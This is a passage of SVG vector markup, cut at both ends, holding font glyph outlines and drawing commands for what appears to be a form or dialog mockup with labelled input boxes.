0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="n"><path style="stroke:none" d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="p"><path style="stroke:none" d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="q"><path style="stroke:none" d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="r"><path style="stroke:none" d="M.922-1.469c.238.137.52.258.844.36.332.105.675.156 1.03.156.395 0 .727-.098 1-.297.282-.195.423-.52.423-.969 0-.363-.09-.664-.266-.906a2.769 2.769 0 0 0-.64-.64 5.361 5.361 0 0 0-.829-.532 4.38 4.38 0 0 1-.843-.594A3.22 3.22 0 0 1 1-5.703C.832-6.016.75-6.41.75-6.891c0-.77.207-1.347.625-1.734.414-.395 1-.594 1.75-.594.5 0 .926.047 1.281.14.364.087.676.204.938.36L5-7.625a3.35 3.35 0 0 0-.797-.297 3.34 3.34 0 0 0-.906-.125c-.438 0-.758.094-.953.281-.2.18-.297.454-.297.829 0 .304.082.562.25.78.176.212.39.403.64.579.258.168.54.344.844.531.301.18.578.39.828.64.258.243.473.532.641.876.176.336.266.761.266 1.281 0 .336-.059.652-.172.953a1.961 1.961 0 0 1-.5.781 2.439 2.439 0 0 1-.828.532c-.325.132-.711.203-1.157.203-.53 0-.992-.055-1.375-.157a3.615 3.615 0 0 1-.968-.406zm0 0"/></symbol><symbol overflow="visible" id="s"><path style="stroke:none" d="M.64-.781c0-.29.087-.524.266-.703a.879.879 0 0 1 .672-.282c.313 0 .567.125.766.375.195.25.297.649.297 1.188 0 .394-.055.75-.157 1.062-.093.32-.226.602-.39.844a2.538 2.538 0 0 1-.531.594c-.188.156-.372.27-.547.344l-.454-.61c.157-.086.301-.195.438-.328.133-.137.242-.293.328-.469.094-.168.164-.343.219-.53.05-.18.078-.36.078-.548a.708.708 0 0 1-.672-.14C.743-.148.641-.414.641-.781zm0 0"/></symbol><symbol overflow="visible" id="t"><path style="stroke:none" d="M1.156-12.469c.383-.113.79-.187 1.219-.219.438-.039.863-.062 1.281-.062.477 0 .953.059 1.422.172a3.2 3.2 0 0 1 1.266.594c.375.28.676.68.906 1.187.238.5.36 1.14.36 1.922 0 .762-.11 1.406-.329 1.938-.218.523-.515.949-.89 1.28-.368.325-.79.563-1.266.72a4.782 4.782 0 0 1-1.453.218H3.094a9.356 9.356 0 0 1-.344-.031c-.117-.008-.2-.02-.25-.031V0H1.156zm2.563.969c-.242 0-.469.012-.688.031-.219.012-.398.04-.531.078v5.36a.68.68 0 0 0 .219.047c.101.011.207.023.312.03h.548c.343 0 .663-.038.968-.124.312-.082.586-.234.828-.453.238-.227.43-.532.578-.907.156-.382.234-.863.234-1.437 0-.5-.07-.914-.203-1.25a2.083 2.083 0 0 0-.546-.813 1.861 1.861 0 0 0-.782-.437 3.463 3.463 0 0 0-.937-.125zm0 0"/></symbol><symbol overflow="visible" id="u"><path style="stroke:none" d="M.703-.813c0-.332.078-.582.235-.75.164-.164.39-.25.671-.25.27 0 .485.086.641.25.164.168.25.418.25.75 0 .356-.086.618-.25.782-.156.164-.371.25-.64.25-.282 0-.508-.086-.673-.25C.781-.195.704-.457.704-.812zm0 0"/></symbol><symbol overflow="visible" id="v"><path style="stroke:none" d="M.781-6.297c0-2.133.336-3.754 1.016-4.86.687-1.1 1.734-1.655 3.14-1.655.75 0 1.391.156 1.922.468.532.305.957.735 1.282 1.297.332.563.578 1.246.734 2.047.156.805.234 1.703.234 2.703 0 2.137-.351 3.758-1.046 4.86C7.375-.333 6.332.218 4.937.218c-.75 0-1.39-.153-1.921-.453a3.794 3.794 0 0 1-1.297-1.313C1.383-2.109 1.145-2.789 1-3.594.852-4.406.781-5.304.781-6.297zm1.422 0c0 .711.047 1.383.14 2.016a6.44 6.44 0 0 0 .485 1.672c.219.48.5.867.844 1.156.344.281.765.422 1.265.422.895 0 1.579-.43 2.047-1.297.47-.863.704-2.188.704-3.969 0-.695-.055-1.363-.157-2a6.692 6.692 0 0 0-.484-1.672c-.211-.488-.492-.879-.844-1.172-.344-.289-.766-.437-1.266-.437-.898 0-1.578.433-2.046 1.297-.461.867-.688 2.195-.688 3.984zm0 0"/></symbol><symbol overflow="visible" id="w"><path style="stroke:none" d="M1.063-12.594h1.296v4.281h.047c.5-.601 1.156-.906 1.969-.906.926 0 1.617.371 2.078 1.11.457.73.688 1.886.688 3.468 0 1.618-.309 2.82-.922 3.61C5.602-.238 4.727.156 3.594.156A5.73 5.73 0 0 1 2.078-.03c-.45-.125-.789-.27-1.015-.438zM2.359-1.313c.164.094.368.168.61.22.25.054.515.077.797.077.625 0 1.117-.296 1.484-.89.363-.594.547-1.504.547-2.735a8.2 8.2 0 0 0-.11-1.39 4.309 4.309 0 0 0-.296-1.078c-.137-.301-.32-.532-.547-.688a1.293 1.293 0 0 0-.797-.25c-.43 0-.781.133-1.063.39-.28.262-.492.61-.625 1.048zm0 0"/></symbol><symbol overflow="visible" id="x"><path style="stroke:none" d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="y"><path style="stroke:none" d="M2.89-4.61.517-9h1.546l1.344 2.578.36 1 .375-1L5.516-9h1.421L4.531-4.687 7.078 0H5.594l-1.5-2.828-.407-1.078-.406 1.078L1.766 0H.344zm0 0"/></symbol><symbol overflow="visible" id="z"><path style="stroke:none" d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="A"><path style="stroke:none" d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="B"><path style="stroke:none" d="M1.063-9h.921l.188.969h.078c.445-.79 1.145-1.188 2.094-1.188.945 0 1.656.356 2.125 1.063.476.71.718 1.867.718 3.469 0 .761-.078 1.445-.234 2.046a4.926 4.926 0 0 1-.672 1.547c-.293.43-.648.758-1.062.985a2.82 2.82 0 0 1-1.36.328 4.71 4.71 0 0 1-.843-.063 2.434 2.434 0 0 1-.657-.265v3.703H1.063zm1.296 7.578c.164.149.352.262.563.344.207.086.488.125.844.125.632 0 1.132-.32 1.5-.969.375-.644.562-1.57.562-2.781 0-.5-.031-.953-.094-1.36a3.593 3.593 0 0 0-.312-1.046c-.149-.301-.336-.532-.563-.688a1.323 1.323 0 0 0-.812-.25c-.875 0-1.438.54-1.688 1.61zm0 0"/></symbol><symbol overflow="visible" id="C"><path style="stroke:none" d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="D"><path style="stroke:none" d="m3.297-3.188.375 1.75h.094l.265-1.75L5.406-9H6.72L4.579-.922c-.18.649-.352 1.25-.516 1.813a9.848 9.848 0 0 1-.547 1.468c-.2.414-.422.739-.672.97-.242.237-.528.358-.86.358-.343 0-.64-.054-.89-.156l.218-1.234c.165.062.333.07.5.031.165-.031.32-.133.47-.297.155-.168.296-.418.421-.75.125-.324.238-.75.344-1.281L.125-9h1.484zm0 0"/></symbol><symbol overflow="visible" id="F"><path style="stroke:none" d="M6-3.531H2.437L1.423 0H.094L3.89-12.797h.734L8.422 0H7.016zM2.797-4.734h2.875L4.578-8.625l-.344-1.89h-.046l-.329 1.921zm0 0"/></symbol><symbol overflow="visible" id="G"><path style="stroke:none" d="M2.234-9v5.516c0 .906.094 1.558.282 1.953.187.386.523.578 1.015.578.25 0 .473-.05.672-.156.195-.102.375-.239.531-.407.157-.164.29-.351.407-.562.125-.219.222-.442.296-.672V-9h1.297v6.438c0 .437.016.89.047 1.359.032.46.07.86.125 1.203H6l-.328-1.266h-.063c-.199.399-.492.746-.875 1.047-.386.29-.867.438-1.437.438C2.91.219 2.57.164 2.28.062a1.605 1.605 0 0 1-.734-.515c-.211-.25-.367-.594-.469-1.031-.094-.438-.14-1-.14-1.688V-9zm0 0"/></symbol><symbol overflow="visible" id="H"><path style="stroke:none" d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="I"><path style="stroke:none" d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="J"><path style="stroke:none" d="M6.734.406c0 1.164-.261 2.024-.78 2.578-.513.551-1.263.829-2.25.829-.595 0-1.087-.055-1.47-.157a3.77 3.77 0 0 1-.937-.344l.375-1.109c.238.102.5.203.781.297.29.094.649.14 1.078.14.727 0 1.227-.203 1.5-.609.27-.406.407-1.09.407-2.047v-.671h-.063c-.188.28-.434.5-.734.656-.305.156-.688.234-1.157.234-.968 0-1.683-.375-2.14-1.125-.45-.75-.672-1.93-.672-3.547 0-1.539.297-2.707.89-3.5.594-.789 1.47-1.187 2.625-1.187.57 0 1.063.054 1.47.156.405.105.765.23 1.077.375zm-1.296-8.11c-.368-.187-.829-.28-1.391-.28-.617 0-1.11.28-1.484.843-.368.555-.547 1.438-.547 2.657 0 .511.03.98.093 1.406.063.418.16.789.297 1.11a2 2 0 0 0 .547.734c.227.18.504.265.828.265.457 0 .817-.117 1.078-.36.258-.237.454-.597.579-1.077zm0 0"/></symbol><symbol overflow="visible" id="K"><path style="stroke:none" d="M5.406-11.5a27.95 27.95 0 0 0-.593-.078 5.185 5.185 0 0 0-.766-.063c-.313 0-.559.063-.734.188-.18.117-.32.281-.422.5a2.492 2.492 0 0 0-.172.828c-.024.336-.031.71-.031 1.125h1.421v1.172H2.688V0H1.39v-7.828H.28V-9h1.11v-.5c0-1.133.195-1.969.593-2.5.407-.54 1.082-.813 2.032-.813.187 0 .41.012.671.032a9.788 9.788 0 0 1 1.47.172c.226.03.41.074.546.125v10.437c0 .399.05.68.156.844.114.168.274.25.485.25.258 0 .562-.067.906-.203L8.328-.11a2.26 2.26 0 0 1-.64.234 3.362 3.362 0 0 1-.782.094c-.449 0-.812-.14-1.093-.422-.274-.29-.407-.785-.407-1.484zm0 0"/></symbol><symbol overflow="visible" id="U"><path style="stroke:none" d="M0 2.516h6.016v1.171H0zm0 0"/></symbol><symbol overflow="visible" id="V"><path style="stroke:none" d="m5.875-9 1.594 5.25.328 1.734h.031l.266-1.765L9.328-9h1.219L8.157.203h-.735L5.594-5.703l-.25-1.516h-.032l-.25 1.532L3.298.202h-.735L.095-9h1.375l1.39 5.234.22 1.75h.03l.329-1.78L4.905-9zm0 0"/></symbol><symbol overflow="visible" id="W"><path style="stroke:none" d="M7.219 0H1.156v-12.594H2.5v11.36h4.719zm0 0"/></symbol><symbol overflow="visible" id="X"><path style="stroke:none" d="M1.688-1.203h2.03V-9.97l.173-1.062-.61.86-1.515 1.218-.688-.797 3.281-3.063h.657v11.61h1.968V0H1.688zm0 0"/></symbol><symbol overflow="visible" id="Y"><path style="stroke:none" d="M5.672 0v-5.469c0-.843-.102-1.484-.297-1.922-.2-.437-.594-.656-1.188-.656-.417 0-.796.152-1.14.453-.344.305-.574.68-.688 1.125V0H1.063v-12.594h1.296v4.438h.047c.239-.313.535-.567.89-.766.352-.195.798-.297 1.329-.297.395 0 .738.059 1.031.172.301.106.547.293.735.563.187.261.328.609.421 1.046.102.438.157.981.157 1.625V0zm0 0"/></symbol><symbol overflow="visible" id="Z"><path style="stroke:none" d="m.578-1.172 3.344-5.89.625-.766H.578V-9h5.25v1.172l-3.36 5.937-.609.72h3.97V0H.578zm0 0"/></symbol><symbol overflow="visible" id="aa"><path style="stroke:none" d="M7.734-.484c-.293.25-.668.43-1.125.53C6.15.16 5.672.22 5.172.22a4.324 4.324 0 0 1-1.766-.36C2.863-.379 2.395-.758 2-1.28c-.387-.52-.688-1.192-.906-2.016-.211-.832-.313-1.832-.313-3 0-1.195.117-2.207.36-3.031.25-.832.578-1.504.984-2.016.406-.52.875-.894 1.406-1.125a4.251 4.251 0 0 1 1.656-.344c.57 0 1.047.043 1.422.126.383.085.711.183.985.296l-.328 1.235a3.297 3.297 0 0 0-.844-.313 5.256 5.256 0 0 0-1.11-.11c-.417 0-.812.095-1.187.282-.375.188-.71.492-1 .906-.281.407-.508.95-.672 1.625-.168.668-.25 1.493-.25 2.47 0 1.75.297 3.07.89 3.952.602.875 1.4 1.313 2.391 1.313a3.26 3.26 0 0 0 1.11-.172c.32-.113.597-.25.828-.406zm0 0"/></symbol></defs><path style="fill:#fff;fill-opacity:1;stroke:none" d="M0 0h722v512H0z"/><path style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" d="M24.236 40.853h35.865V66.19H24.236zm0 0" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#b3b3b3;stroke-opacity:1;stroke-miterlimit:10" d="M26.644 44.584H57.1M26.644 62.446H57.1M26.644 44.584a.3.3 0 0 0-.3.3M57.4 44.884a.3.3 0 0 0-.3-.3M26.344 44.884v17.262M57.4 44.884v17.262M26.344 62.146a.3.3 0 0 0 .3.3M57.1 62.446a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 125.96h102.399v23.853H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="76.09" y="144.211"/><use xlink:href="#b" x="86.109" y="144.211"/><use xlink:href="#b" x="95.016" y="144.211"/><use xlink:href="#c" x="103.922" y="144.211"/><use xlink:href="#d" x="109.781" y="144.211"/><use xlink:href="#e" x="118.336" y="144.211"/><use xlink:href="#e" x="125.328" y="144.211"/><use xlink:href="#f" x="132.32" y="144.211"/><use xlink:href="#g" x="136.422" y="144.211"/><use xlink:href="#h" x="141.285" y="144.211"/><use xlink:href="#i" x="145.777" y="144.211"/><use xlink:href="#d" x="154.762" y="144.211"/><use xlink:href="#f" x="163.316" y="144.211"/><use xlink:href="#j" x="167.418" y="144.211"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 116.684h408v40h-408zM197.313 122.684v-6c-3.313 0-6 2.687-6 6zM605.313 122.684h6c0-3.313-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 122.684h420v28h-420zM197.313 150.684h-6c0 3.312 2.687 6 6 6zM605.313 150.684v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 46.46h20.4M34.052 48.46h20.4M34.052 46.46a.3.3 0 0 0-.3.3M54.752 46.76a.3.3 0 0 0-.3-.3M33.752 46.76v1.4M54.752 46.76v1.4M33.752 48.16a.3.3 0 0 0 .3.3M54.452 48.46a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M191.313 161.434h239.5v21.25h-239.5zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#k" x="191.313" y="177.684"/><use xlink:href="#l" x="199.008" y="177.684"/><use xlink:href="#m" x="203.949" y="177.684"/><use xlink:href="#n" x="208.891" y="177.684"/><use xlink:href="#n" x="216.215" y="177.684"/><use xlink:href="#l" x="223.656" y="177.684"/><use xlink:href="#o" x="228.598" y="177.684"/><use xlink:href="#p" x="232.406" y="177.684"/><use xlink:href="#q" x="239.613" y="177.684"/><use xlink:href="#q" x="247.406" y="177.684"/><use xlink:href="#m" x="255.199" y="177.684"/><use xlink:href="#n" x="260.141" y="177.684"/><use xlink:href="#r" x="267.582" y="177.684"/><use xlink:href="#r" x="273.656" y="177.684"/><use xlink:href="#s" x="279.73" y="177.684"/><use xlink:href="#o" x="281.469" y="177.684"/><use xlink:href="#t" x="285.277" y="177.684"/><use xlink:href="#u" x="291.527" y="177.684"/><use xlink:href="#v" x="294.32" y="177.684"/><use xlink:href="#u" x="303.793" y="177.684"/><use xlink:href="#o" x="305.414" y="177.684"/><use xlink:href="#w" x="309.223" y="177.684"/><use xlink:href="#x" x="317.035" y="177.684"/><use xlink:href="#y" x="324.496" y="177.684"/><use xlink:href="#s" x="331.918" y="177.684"/><use xlink:href="#o" x="333.656" y="177.684"/><use xlink:href="#z" x="337.465" y="177.684"/><use xlink:href="#x" x="343.578" y="177.684"/><use xlink:href="#A" x="351.352" y="177.684"/><use xlink:href="#B" x="363.07" y="177.684"/><use xlink:href="#p" x="370.902" y="177.684"/><use xlink:href="#C" x="378.109" y="177.684"/><use xlink:href="#D" x="386.02" y="177.684"/><use xlink:href="#o" x="392.309" y="177.684"/><use xlink:href="#C" x="396.117" y="177.684"/><use xlink:href="#p" x="404.027" y="177.684"/><use xlink:href="#A" x="411.234" y="177.684"/><use xlink:href="#n" x="422.953" y="177.684"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m48.157 51.13-3.462-.005" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M44.695 51.125c0-.125.125-.25.25-.25s.25.126.25.25c0 .126-.125.25-.25.25a.269.269 0 0 1-.25-.25" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 207.293h102.399v23.852H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="76.09" y="225.543"/><use xlink:href="#b" x="86.109" y="225.543"/><use xlink:href="#b" x="95.016" y="225.543"/><use xlink:href="#c" x="103.922" y="225.543"/><use xlink:href="#d" x="109.781" y="225.543"/><use xlink:href="#e" x="118.336" y="225.543"/><use xlink:href="#e" x="125.328" y="225.543"/><use xlink:href="#f" x="132.32" y="225.543"/><use xlink:href="#g" x="136.422" y="225.543"/><use xlink:href="#h" x="141.285" y="225.543"/><use xlink:href="#i" x="145.777" y="225.543"/><use xlink:href="#d" x="154.762" y="225.543"/><use xlink:href="#f" x="163.316" y="225.543"/><use xlink:href="#E" x="167.418" y="225.543"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 198.02h408v40h-408zM197.313 204.02v-6c-3.313 0-6 2.683-6 6zM605.313 204.02h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 204.02h420v28h-420zM197.313 232.02h-6c0 3.312 2.687 6 6 6zM605.313 232.02v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 50.528h20.4M34.052 52.528h20.4M34.052 50.528a.3.3 0 0 0-.3.3M54.752 50.828a.3.3 0 0 0-.3-.3M33.752 50.828v1.4M54.752 50.828v1.4M33.752 52.228a.3.3 0 0 0 .3.3M54.452 52.528a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M190.813 242.434h223.101v21.25H190.813zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#F" x="190.813" y="258.684"/><use xlink:href="#B" x="199.328" y="258.684"/><use xlink:href="#p" x="207.16" y="258.684"/><use xlink:href="#m" x="214.367" y="258.684"/><use xlink:href="#l" x="219.738" y="258.684"/><use xlink:href="#A" x="224.68" y="258.684"/><use xlink:href="#n" x="236.398" y="258.684"/><use xlink:href="#C" x="243.84" y="258.684"/><use xlink:href="#l" x="251.75" y="258.684"/><use xlink:href="#s" x="256.691" y="258.684"/><use xlink:href="#o" x="258.43" y="258.684"/><use xlink:href="#r" x="262.238" y="258.684"/><use xlink:href="#G" x="268.313" y="258.684"/><use xlink:href="#H" x="276.125" y="258.684"/><use xlink:href="#l" x="280.031" y="258.684"/><use xlink:href="#n" x="284.855" y="258.684"/><use xlink:href="#s" x="292.297" y="258.684"/><use xlink:href="#o" x="294.035" y="258.684"/><use xlink:href="#G" x="297.844" y="258.684"/><use xlink:href="#C" x="305.656" y="258.684"/><use xlink:href="#H" x="313.566" y="258.684"/><use xlink:href="#l" x="317.473" y="258.684"/><use xlink:href="#s" x="322.414" y="258.684"/><use xlink:href="#o" x="324.152" y="258.684"/><use xlink:href="#w" x="327.961" y="258.684"/><use xlink:href="#G" x="335.773" y="258.684"/><use xlink:href="#H" x="343.586" y="258.684"/><use xlink:href="#I" x="347.492" y="258.684"/><use xlink:href="#q" x="351.691" y="258.684"/><use xlink:href="#H" x="359.484" y="258.684"/><use xlink:href="#C" x="363.391" y="258.684"/><use xlink:href="#J" x="371.301" y="258.684"/><use xlink:href="#s" x="379.074" y="258.684"/><use xlink:href="#o" x="380.813" y="258.684"/><use xlink:href="#K" x="384.621" y="258.684"/><use xlink:href="#x" x="393.059" y="258.684"/><use xlink:href="#x" x="400.832" y="258.684"/><use xlink:href="#m" x="408.605" y="258.684"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M148.91 290.793h27.399v23.852H148.91zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#L" x="149.242" y="309.043"/><use xlink:href="#h" x="158.383" y="309.043"/><use xlink:href="#M" x="162.875" y="309.043"/><use xlink:href="#N" x="168.305" y="309.043"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 281.52h188v40h-188zM197.313 287.52v-6c-3.313 0-6 2.683-6 6zM385.313 287.52h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 287.52h200v28h-200zM197.313 315.52h-6c0 3.312 2.687 6 6 6zM385.313 315.52v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 54.703h9.4M34.052 56.703h9.4M34.052 54.703a.3.3 0 0 0-.3.3M43.752 55.003a.3.3 0 0 0-.3-.3M33.752 55.003v1.4M43.752 55.003v1.4M33.752 56.403a.3.3 0 0 0 .3.3M43.452 56.703a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M113.96 362.023h62.353v23.852H113.96zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#O" x="114.887" y="380.273"/><use xlink:href="#P" x="123.793" y="380.273"/><use xlink:href="#Q" x="128.559" y="380.273"/><use xlink:href="#f" x="137.465" y="380.273"/><use xlink:href="#L" x="141.352" y="380.273"/><use xlink:href="#R" x="149.945" y="380.273"/><use xlink:href="#b" x="158.852" y="380.273"/><use xlink:href="#d" x="167.758" y="380.273"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 352.746h108v40h-108zM197.313 358.746v-6c-3.313 0-6 2.688-6 6zM305.313 358.746h6c0-3.312-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 358.746h120v28h-120zM197.313 386.746h-6c0 3.317 2.687 6 6 6zM305.313 386.746v6c3.312 0 6-2.683 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 58.264h5.4M34.052 60.264h5.4M34.052 58.264a.3.3 0 0 0-.3.3M39.752 58.564a.3.3 0 0 0-.3-.3M33.752 58.564v1.4M39.752 58.564v1.4M33.752 59.964a.3.3 0 0 0 .3.3M39.452 60.264a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path 